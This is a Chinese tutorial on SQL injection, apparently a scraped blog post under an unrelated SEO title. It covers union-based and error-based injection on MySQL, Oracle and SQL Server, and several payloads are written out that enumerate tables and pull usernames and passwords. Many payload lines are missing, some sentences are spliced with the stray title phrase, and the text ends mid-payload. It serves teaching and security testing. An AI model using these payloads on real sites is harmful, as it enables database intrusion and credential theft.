sql server2005导入数据库-sql server 2005
前言
《Web安全实战系列:文件包含漏洞》发出后,很感谢能得到大家的认可,也给了我极大的动力,更好、更快的去完成其他漏洞文章的编写。本文主要介绍了Mysql、Oracle、MSsql、Access常见数据库的典型注入方式,其他方式的注入和其他的数据库注入会不断完善更新。
上一期:
SQL注入简介
漏洞产生原因
用户通过浏览器或者其他客户端提交的参数值,中间件接收后未经过过滤,带入数据库进行执行sql server2005导入数据库,导致执行了额外的SQL语句,通过数据库获取了敏感的信息或者执行了其他恶意操作,这就是SQL注入的过程。
示例代码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE
id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
中间件通过$_GET[‘id’]获取到用户输入的id参数的值,并赋值给$id这个变量,$id在后面没有经过任何过滤直接拼接到sql语句中,然后在数据库中执行了此sql语句。
如果用户提交index.php?id=1 and 1=1,那么后面的sql语句就变为SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1,会有正常的结果返回;
如果用户提交index.php?id=1 and 1=2,那么后面的sql语句就变为SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1,会有不正常的结果返回;
SQL注入漏洞分类
按照数据类型分为:
1、数字型注入
2、字符型注入
按照服务器返回分为:
1、联合查询注入
2、报错注入
3、盲注
数字型注入
数字型注入的注入点的数据类型是数字型,没有单引号保护的类型,数字型注入的典型案例如下:
示例代码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE
id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
WHERE id=$id 这个sql语句中,$id没有用单引号或者双引号,直接拼接到了后面,这样的就是典型的数字型注入。
如何判断数字型注入
加单引号 不正常返回
如果用户提交index.php?id=1’,那么后面的sql语句就变为SELECT * FROM users WHERE id=1’ LIMIT 0,1,sql语句本身存在语法错误,会有不正常的结果返回;
’ and ‘1’=’1 正常返回
如果用户提交index.php?id=1’ and ‘1’=’1,那么后面的sql语句就变为SELECT * FROM users WHERE id=’1' and '1'='1’ LIMIT 0,1,会有正常的结果返回;
’ and ‘1’=’2 不正常返回
如果用户提交index.php?id=1’ and ‘1’=’2,那么后面的sql语句就变为SELECT * FROM users WHERE id=’1' and '1'='2’ LIMIT 0,1,会有不正常的结果返回;
主要通过上面三个语句来判断,如果结果跟上面符合,说明测试语句带入数据中并且成功执行,那就存在注入。当然具体有没没有注入,能否通过注入获取到有效信息还需要多次大量的测试。
字符型注入
字符型注入的注入点的数据类型是字符型,字符型注入跟数字型注入的区别就是字符型注入要进行前后单引号的闭合,字符型注入的典型案例如下:
示例代码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE
id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
这个示例代码跟数字型注入的代码基本一致,只是在后面sql语句拼接中WHERE id=’$id’ $id多了一对单引号,$id就会是字符型数据,这样就是典型的字符型注入。
如何判断字符型注入
加单引号 不正常返回
如果用户提交index.php?id=1’,那么后面的sql语句就变为SELECT * FROM users WHERE id=1’ LIMIT 0,1,sql语句本身存在语法错误,会有不正常的结果返回;
’ and ‘1’=’1 正常返回
如果用户提交index.php?id=1’ and ‘1’=’1,那么后面的sql语句就变为SELECT * FROM users WHERE id=’1' and '1'='1’ LIMIT 0,1,会有正常的结果返回;
’ and ‘1’=’2 不正常返回
如果用户提交index.php?id=1’ and ‘1’=’2,那么后面的sql语句就变为SELECT * FROM users WHERE id=’1' and '1'='2’ LIMIT 0,1,会有不正常的结果返回;
主要通过上面三个语句来判断,如果结果跟上面符合,说明测试语句带入数据中并且成功执行,那就存在注入。当然具体有没没有注入,能否通过注入获取到有效信息还需要多次大量的测试。
0x01 MySQL注入
MySQL是一种开放源代码的关系型数据库管理系统(RDBMS),使用最常用的数据库管理语言–结构化查询语言(SQL)进行数据库管理。
Information_Schema库
MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。位MySQL用户均有权访问这些表,但仅限于表中的特定行,在这类行中含有用户具有恰当访问权限的对象。
MySQL库
这个是mysql的核心数据库,类似于sql server中的master表,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。
Mysql union联合查询注入
union 作用和语法
UNION 用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行。
注意:联合查询中合并的选择查询必须具有相同的输出字段数、采用相同的顺序并包含相同或兼容的数据类型。
SQL UNION 语法:
例:
通过union联合查询,将前后两个结果集的数据合并到了一个结果集中。
order by 作用和语法
ORDER BY子句按一个或多个字段排序查询结果,可以是升序(ASC)也可以是降序(DESC),缺省是升序。ORDER子句通常放在SQL语句的最后。
特性:
ORDER BY 子句中可以用字段在选择列表中的位置号代替字段名
因为username是第二列,所以可以用2代替,所以order by 2就是order by username。
联合查询注入过程
测试代码:
判断注入点
输入: and 1=1 正常返回
and 1=1
sql语句为SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1,所以正常返回
输入: and 1=2 不正常返回
and 1=2
sql语句为SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1,所以不正常返回
经测试,测试语句and 1=1和and 1=2带入了数据库进行执行,所以此处可能存在一个注入点。
判断列数
要用联合查询注入,两个结果集的列数要相同,所以要首先判断index.php?id=1 这个语句在数据库中是返回了几列,也就是SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1这个的数据结果集是几列,然后才可以用union进行联合查询,因为可以用字段在选择列表中的位置号代替字段名,要判断是几列可以用order by来判断,用二分法可以很快的进行判断。
输入:order by 1 正常返回,说明返回结果集至少为1列。
order by 1
sql语句为:SELECT * FROM users WHERE id=1 order by 1 LIMIT 0,1,
输入:order by 4 不正常返回,说明返回结果集小于4列。
order by 4
sql语句为:SELECT * FROM users WHERE id=1 order by 4 LIMIT 0,1,
输入:order by 3 正常返回,说明返回结果集至少为3列。
order by 3
sql语句为SELECT * FROM users WHERE id=1 order by 3 LIMIT 0,1,
经过上面测试发现返回的结果集至少为3列,但是小于4列,所以结果集为3列,所以union联合的列数为3列。
判断显错点
通过order by的判断知道了返回的结果集是3列,但是哪一列会在前端显示并不知道,所以需要判断哪一列是显错点。
注意:经常会加一个and 1=2,如果不加and 1=2,经过union查询后,会返回两行数据,因为,有的程序返回的结果集中还是显示前一个sql查询的结果集,不会显示后面sql查询的结果集。
输入: and 1=2 union select 1,2,3 返回2,3说明第二列和第三列就是显错点。
获取当前数据库等常见信息
user() 当前用户
database() 当前数据库
version() 当前版本
concat函数连接字符串
输入:
获取到当前用户为ctfswiki@localhost,当前数据库为ctfswiki,当前的版本为5.1.73
获取数据库中的表
输入:
从information_schema.tables 表中,取出数据库名为ctfswiki的所有表名,获得user这个表
获取表中的列
输入:
从information_schema.columns 表中,取出数据库名为ctfswiki,表名为user的所有列名,获得id,username,password这三个列
获取列中的数据
输入:
and 1=2 union select 1,group_concat(username,' ',password),3 from user
从user表中取出username和password列中的数据,得到user1 pass1等多个用户名密码信息。
floor()报错
Floor(x) 函数返回不大于x的最大整数值
mysql> SELECT floor(1.4)
-> 1
RAND() 函数会返回一个0-1之间的随机数
mysql> SELECT rand() ;
-> 0.2232296115003802
payload:
通过输出
会提示Duplicate entry 'ctfswiki@localhost1' for key 'group_key'这个错误就可以获取当前的用户信息。
floor报错原理
floor报错是因为rand函数与group by一起用时,rand函数会计算多次导致的,官方的手册中说明了rand()放在ORDER BY 子句中会被执行多次,同样group by 也执行多次。
(floor(rand()*2))的值是0或者1,因为0(floor(rand()2))的值是0或者1。
那么group by (floor(rand()*2))就是group by 010101011……
count(*)与group by虚拟表
mysql在执行select count(*) from tables group by x;这类的语句时会创建一个虚拟表,然后在虚拟表中插入数据。
1、创建虚拟表的结构如下(key是主键,不可重复)
key
count(*)
*
*
2、数据查询,首先查看虚拟表中是否存在,如果不存在就插入新数据,存在count(*)字段加1
查询第一条记录,当执行(floor(rand()*2))后,如果(floor(rand()*2))的值为1(第一次计算),虚拟表中不存在1,则(floor(rand()*2))再计算一次,值为0(第二次计算),0插入数据表,count(*)字段加1,此时的虚拟表如下:
key
count(*)
1
1
查询第二条记录,当执行(floor(rand()*2))后,如果(floor(rand()*2))的值为1(第三次计算),虚拟表中存在1,则(floor(rand()*2))不会计算,count(*)字段加1,此时的虚拟表如下:
key
count(*)
1
2
查询第三条记录,当执行(floor(rand()*2))后,如果(floor(rand()*2))的值为0(第四次计算),虚拟表中不存在0,则(floor(rand()*2))再计算一次,值为0(第五次计算),0插入数据表,count(*)字段加1,此时的虚拟表如下:
key
count(*)
1
2
0
1
如果上面的查询第三条记录第五次计算的结果不是0.,而是1,插入的数据就是1,1已经在虚拟表中了,这样就导致了报错。
这就是floor报错的原理。
floor报错注入过程
获取当前数据库名称
输入:
会提示Duplicate entry 'ctfswiki1' for key 'group_key'这个错误就可以获取当前的数据库为ctfswiki
获取当前数据库的表名
输入:
获取ctfswiki存在user表
获取当前数据库的列名
输入:
获取user存在password列
输入:
获取user存在username列
获取数据
输入:
获取username存储了user1的数据
0x02 ORACLE注入
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。
数据字典和数据字典视图
数据字典
元数据的集合,从逻辑上和物理上描述了数据库及内容,存储于SYSTEM与SYSAUX表空间内的若干段
数据字典视图
数据字典基表中的数据很难看懂。因此,很少人直接访问这些基表。取而代之的是数据字典视图。数据字典视图分为类,它们以前辍来区分sql server2005导入数据库,前辍分别为:USER、ALL、DBA,它们的权限也是不一样的。
USER* 用户所拥有的对象信息ALL 用户能访问的对象信息DBA_ 整个数据库中的对象信息
user_tables表
user_tables 表中存储了用户的拥有的表的信息
user_tab_columns表
user_tab_columns表中存储了用户的拥有的列的信息
DUAL表的用途
Dual 是 Oracle中的一个实际存在的表,任何用户均可读取,常用在没有目标表的Select语句块中 查看当前连接用户
union
作用和语法UNION 用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行。
注意:联合查询中合并的选择查询必须具有相同的输出字段数、采用相同的顺序并包含相同的数据类型,如果数据类型不同会报错。在sql注入中通常用select null from dual来避免不同数据类型的报错。
SQL UNION 语法:
如果数据类型不同就会报错
利用null可以避免数据类型不同的报错
通过union联合查询,将前后两个结果集的数据合并到了一个结果集中。
order by 作用和语法
ORDER BY子句按一个或多个字段排序查询结果,可以是升序(ASC)也可以是降序(DESC),缺省是升序。ORDER子句通常放在SQL语句的最后。
特性:
ORDER BY 子句中可以用字段在选择列表中的位置号代替字段名
因为table_name是第二列,所以可以用1代替,所以order by 1就是order by table_name。
联合查询字符型注入
判断注入点
输入:' 数据库会报错
输入:and 1=1 正常返回
输入:and 1=2 不正常返回
通过上面两个测试语句,基本可以判断此网站存在数字型注入。
判断列数
要用联合查询注入,两个结果集的列数要相同,数据类型也要相同,所以要首先判断index.jsp?id=1 这个语句在数据库中是返回了几列,因为可以用字段在选择列表中的位置号代替字段名,要判断是几列可以用order by来判断,用二分法可以很快的进行判断。
输入:order by 1 正常返回,说明返回结果集至少为1列。
:8080/index.jsp?id=1 order by 1
输入:order by 4 不正常返回,说明返回结果集小于4列。
:8080/index.jsp?id=1 order by 4
输入:order by 3 正常返回,说明返回结果集至少为3列。
:8080/index.jsp?id=1 order by 3
经过上面测试发现返回的结果集至少为3列,但是小于4列,所以结果集为3列,所以union联合的列数为3列。
获取当前数据库等常见信息
查看当前用户的信息
查看当前用户权限
select * from session_roles
查看数据库版本
获取当前用户
输入:
获取当前用户为CTFS
获取当前用户的表信息
输入:
:8080/index.jsp?id=1 and 1=2 union select null,null,table_name from user_tables
获取当前用户为有user和user2两个表
获取当前用户user表中的列信息
输入:
:8080/index.jsp?id=1 and 1=2 union select null,null,column_name from user_tab_columns
获取当前用户为有user表中存在id,password,username三列
获取当前用户user表中username和password的数据
输入:
:8080/index.jsp?id=1 and 1=2 union select null,"username","password" from "user"
这样就获取了列中的数据。
注意:Oracle会自动将小写转换为大写,所以要用引号,防止自动转换。
0x03 SQL Server注入
SQL Server 是Microsoft 公司推出的关系型数据库管理系统,具有使用方便可伸缩性好与相关软件集成程度高等优点。
Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。
SQL Server关键目录视图
SQL Server 2005引入了一组目录视图作为保留系统元数据的通用接口。所有目录视图(包括动态管理对象和兼容性视图)都在sys模式中,访问对象时,必须引入模式名称。
sysdatabases
sysdatabases(存储数据库名):保存了数据库相关的信息。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表存储在 master 数据库中。
select * from sys.databases;
sysobjects
sysobjects(存储表名):SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象。如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
select * from sec.dbo.sysobjects where xtype='U'
就可以列出库sec中所有的用户建立的表名。
syscolumns
syscolumns(存储列名) :每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有: name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。
select * from sec.dbo.syscolumns得到sec这个库中所有的列信息
报错注入
获取当前数据库
有两种报错注入的方式可以获取到数据库的名称
第一种方式:
输入:
and (select top 1 name from sys.databases) >0
从sys.databases查询的结果与0比较,导致类型比较报错,得到存在数据库master
第二种方式:
输入:
and db_name()>0
db_name()是sql server的内置函数,可以查询当前数据库的名称,然后与0比较导致类型比较报错,得到当前数据库sec
获取数据库中的表
输入:
and 0